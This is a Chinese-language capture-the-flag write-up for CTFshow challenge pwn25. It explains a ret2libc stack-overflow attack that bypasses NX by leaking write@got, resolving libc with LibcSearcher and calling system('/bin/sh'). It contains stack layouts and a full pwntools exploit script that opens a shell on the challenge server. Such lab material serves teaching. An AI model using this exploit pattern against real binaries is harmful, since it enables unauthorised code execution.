从CTFshow-PWN入门-pwn25分析ret2libc原理与实现
pwn25
这是一道栈溢出的题目,具体用了 ret2libc 的方法,本属于后面模块的题目,放在这里是为了让大家了解一些保护以及对应的攻击手法。

checksec文件

32 位小端序,发现开启了NX保护
NX(或 DEP,Data Execution Prevention)将数据区域(如栈、堆)标记为不可执行,防止攻击者将 shellcode 写入栈/堆后直接跳转执行
这样一来,我们就无法像上一道题用 shellcode 获取 shell 了
这里我们用 ret2libc 的方法,没有学习过此部分内容可以先跳过
运行,随意输入,没得到什么有用的信息

拖进 ida,F5反编译

点进 ctfshow 函数分析

可以发现buf大小为 132 字节,但read允许读取 0x100(256)字节
存在栈溢出漏洞

由于没有直接给出 system 或 /bin/sh,需要通过动态链接库(libc)中的 system 函数和 /bin/sh 字符串,这些东西在程序运行时的真实地址计算方法为:@got真实地址 = libc基址 + 偏移,所以要先计算出偏移
以write函数为例 ,偏移 = 真实地址 - libc基址,真实地址存在write@got,write@got可以通过write@plt来运行这个函数从而泄露出来,libc 版本和基址可以导入 libcSearcher 库来查找计算
这里需要去系统学习一下动态链接的过程,简单画个图说明一下黄色部分是静态的,绿色部分是动态变化的

elf.got['write']的作用是获取 write函数真实地址的存储位置,即write@got的地址
elf.plt['write']的作用是获取 write函数跳板地址的存储位置,即write@plt的地址
具体思路:
- 解析目标程序的 ELF 文件,读取write@plt的地址 、write@got的地址和ctfshow的函数地址
- 以栈溢出漏洞作为入口,跳转到write@plt执行函数泄露write@got的地址,再跳转回ctfshow函数
- 读取泄露出的write@got的地址,用 libcSearcher 库查找正确的 libc 版本,再计算偏移
- 计算system函数和/bin/sh字符串的真实地址
- 继续从ctfshow函数里的栈溢出作为入口,跳转到system函数真实地址,同时将/bin/sh作为参数传入,从而拿到权限
再来简单分析两个 payload 的栈帧:
payload1:
| 栈地址 | 内容 | 说明 |
|---|---|---|
| esp + 0x10 | p32(4) | 第三个参数:要输出的字节数(count=4) |
| esp + 0x0C | p32(write_got) | 第二个参数:输出的数据地址(指向 write@got) |
| esp + 0x08 | p32(1) | 第一个参数:文件描述符(1=stdout) |
| esp + 0x04 | p32(ctfshow) | 返回地址:write执行后跳转到 ctfshow函数 |
| esp | p32(write_plt) | 调用 write@plt的地址,跳转到 write@got存储的真实地址 |
| esp - 0x04 | cyclic(0x88+0x4) | 填充的垃圾数据(覆盖栈上的缓冲区) |
payload2:
| 栈偏移 | 内容 | 说明 |
|---|---|---|
| esp + 0x0C | p32(bin_sh) | system的第一个参数:/bin/sh字符串地址 |
| esp + 0x08 | p32(0) | system的返回地址(此处填充为0,表示不返回) |
| esp + 0x04 | p32(system) | 覆盖的返回地址,跳转到system函数 |
| esp | cyclic(0x88+0x4) | 填充数据(覆盖缓冲区 + 保存的ebp) |
构造 exp
# -*- coding: utf-8 -*- # 设置编码格式,用来在py2代码使用中文注释
from pwn import * # 导入 pwntools 库
from LibcSearcher import * # 导入 libcSearcher 库
context.log_level = 'debug' # 设置日志级别为调试模式,显示详细信息
io = process('./pwn') # 本地连接
#io = remote("pwn.challenge.ctf.show", 28177) # 远程连接
# 1
elf = ELF('./pwn') # 解析目标程序的 ELF 文件
ctfshow = elf.sym['ctfshow'] # 获取 ctfshow 的地址
write_got = elf.got['write'] # 获取 write@got 的地址
write_plt = elf.plt['write'] # 获取 write@plt 的地址
#2
payload1 = cyclic(0x88+0x4) + p32(write_plt) + p32(ctfshow) + p32(1) + p32(write_got) + p32(4)
io.sendline(payload1) # 传入payload1
#3
write = u32(io.recv(4)) # 接收打印出来的 write 的真实地址(4 字节)
# u32():将字节数据转换为无符号 32 位整数
libc = LibcSearcher('write',write) # 根据 write的地址匹配远程 libc版本
libc_base = write - libc.dump('write') # 计算 libc基地址
#4
system = libc_base + libc.dump('system') # 计算 system 函数真实地址
bin_sh = libc_base + libc.dump('str_bin_sh') # 计算 /bin/sh 字符串真实地址
#5
payload2 = cyclic(0x88+0x4) + p32(system) + p32(0) + p32(bin_sh)
io.sendline(payload2) # 传入payload2
io.interactive() # 进入交互模式,获得远程 shell
这里我的 Ubuntu 是 20.04 的,题目环境是 18.04 的,打不通本地附件
直接开启容器环境,连远程

这里选择可能的 libc 版本,试一试就出来了,这里选第一个 libc

这次的 flag 步放在ctfshow_flag文件里了,在flag里,得到 flag

浙公网安备 33010602011771号